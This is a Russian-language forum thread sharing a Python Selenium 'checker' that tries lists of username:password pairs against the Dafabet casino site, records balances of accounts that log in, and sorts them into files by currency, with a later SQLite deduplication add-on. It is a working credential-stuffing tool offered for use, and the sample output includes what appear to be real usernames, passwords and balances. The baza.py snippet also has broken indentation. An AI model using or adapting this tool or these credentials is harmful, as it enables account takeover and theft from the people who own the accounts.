Чекер dafabet (казик)

Чекер dafabet (казик)

Тема в разделе Python создана пользователем Georstargiystar
Georstargiystar Автор темы
Мало ли вдруг кому то пригодится:
чекер:
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time

def login_and_get_balance(driver, username, password):
    try:
        # Открываем сайт
        driver.get('https://www.dafabet.com')

        # Ожидаем загрузки поля ввода имени пользователя
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.NAME, "LoginForm[username]"))
        )

        # Логин
        username_input = driver.find_element(By.NAME, "LoginForm[username]")
        password_input = driver.find_element(By.NAME, "LoginForm[password]")

        username_input.send_keys(username)
        password_input.send_keys(password)
        password_input.send_keys(Keys.RETURN)

        time.sleep(5)
        # Получаем баланс
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.ID, "player-balance"))
        )
        balance_element = driver.find_element(By.ID, "player-balance")
       
        return balance_element.text

    except Exception as e:
        print(f"Ошибка при получении баланса: {e}")
        return None

def main():
    # Чтение логинов и паролей из файла
    with open('dafabet_logpass.txt', 'r', encoding="utf8") as file1:
        akki = file1.readlines()

   
    for i in akki:
        driver = webdriver.Chrome()  

        username, password = i.strip().split(":")
        balance = login_and_get_balance(driver, username, password)

        if balance:
            print(f"Баланс для {username}: {balance}")
            with open('valid.txt', 'a', encoding="utf8") as file2:
                file2.write(f"\n{username}:{password}\n{balance}\n\n====")

        driver.quit()  

if __name__ == "__main__":
    main()

Рядом создаете 2 txt:
dafabet_logpass.txt и valid.txt
в dafabet_logpass кидаете log:pass

формат лога если валид:

Edgar4896:edgar2021
Saldo total: BRL 0.92

====
samsulsoib:Samsul1981
Saldo total: MYR 0.00

====
Naidu3232:Naidu32
Saldo total: INR 0.00

====
karinepatroci:170288kar
Saldo total: BRL 0.02



В консоли могут выскакивать ошибки если аккаунт не валидный, на них можно не обращать внимания(ну или если хотите пофиксите и киньте сюда :3 )
Сайт не требователен к проксям

2
Georstargiystar Автор темы
Обновил немного код теперь если пустой аккаунт он сохраняется отдельный а если там есть деньги то в txt файлик с его валютой + локальная бд что бы не чекать 1 и тоже

код:
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
from selenium.webdriver.chrome.options import Options
from baza import check_and_add_record

def login_and_get_balance(driver, username, password):
    try:
        
        driver.get('https://www.dafabet.com')

      
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.NAME, "LoginForm[username]"))
        )

        # Логин
        username_input = driver.find_element(By.NAME, "LoginForm[username]")
        password_input = driver.find_element(By.NAME, "LoginForm[password]")

        username_input.send_keys(username)
        password_input.send_keys(password)
        password_input.send_keys(Keys.RETURN)

        time.sleep(5)
        # Получаем баланс
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.ID, "player-balance"))
        )
        balance_element = driver.find_element(By.ID, "player-balance")
        
        return balance_element.text

    except Exception as e:
        print(f"Ошибка при получении баланса: {e}")
        return None

def main():

    with open('dafabet_logpass.txt', 'r', encoding="utf8") as file1:
        akki = file1.readlines()

    
    for i in akki:
        username, password = i.strip().split(":")

        if check_and_add_record(username, password)=="neok":
            continue

        # options = Options()
        # options.add_argument("--headless")
        # # options.add_argument("--disable-gpu")
        # options.add_argument("--incognito")
        # options.add_argument('--disable-extensions')

        driver = webdriver.Chrome() 
        
        
        balance = login_and_get_balance(driver, username, password)

        if balance:
            print(f"Баланс для {username}: {balance}")
            balanc=balance.replace("Saldo total: ","").split()

            if balanc[1]=="0.00":
                with open(f'valid_pustishka.txt', 'a', encoding="utf8") as file2:
                    file2.write(f"\n{username}:{password}\n{balance}\n\n====")

            else:
                with open(f'valid_{balanc[0]}.txt', 'a', encoding="utf8") as file2:
                    file2.write(f"\n{username}:{password}\n{balanc[1]}\n\n====")

        driver.quit() 

if __name__ == "__main__":
    main()


baza.py:
import sqlite3

def create_database():
    conn = sqlite3.connect('my_database.db')
    cursor = conn.cursor()
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS my_table (
            field1 TEXT NOT NULL,
            field2 TEXT NOT NULL
        )
    ''')
    conn.commit()
    conn.close()

def check_and_add_record(field1, field2):
    conn = sqlite3.connect('my_database.db')
    cursor = conn.cursor()
        cursor.execute('SELECT * FROM my_table WHERE field1 = ? AND field2 = ?', (field1, field2))
    record = cursor.fetchone()
    
    if record:
        return "neok"
    else:
        # Добавление записи
        cursor.execute('INSERT INTO my_table (field1, field2) VALUES (?, ?)', (field1, field2))
        conn.commit()
        return "ok"
    
    conn.close()

create_database()

2
Сверху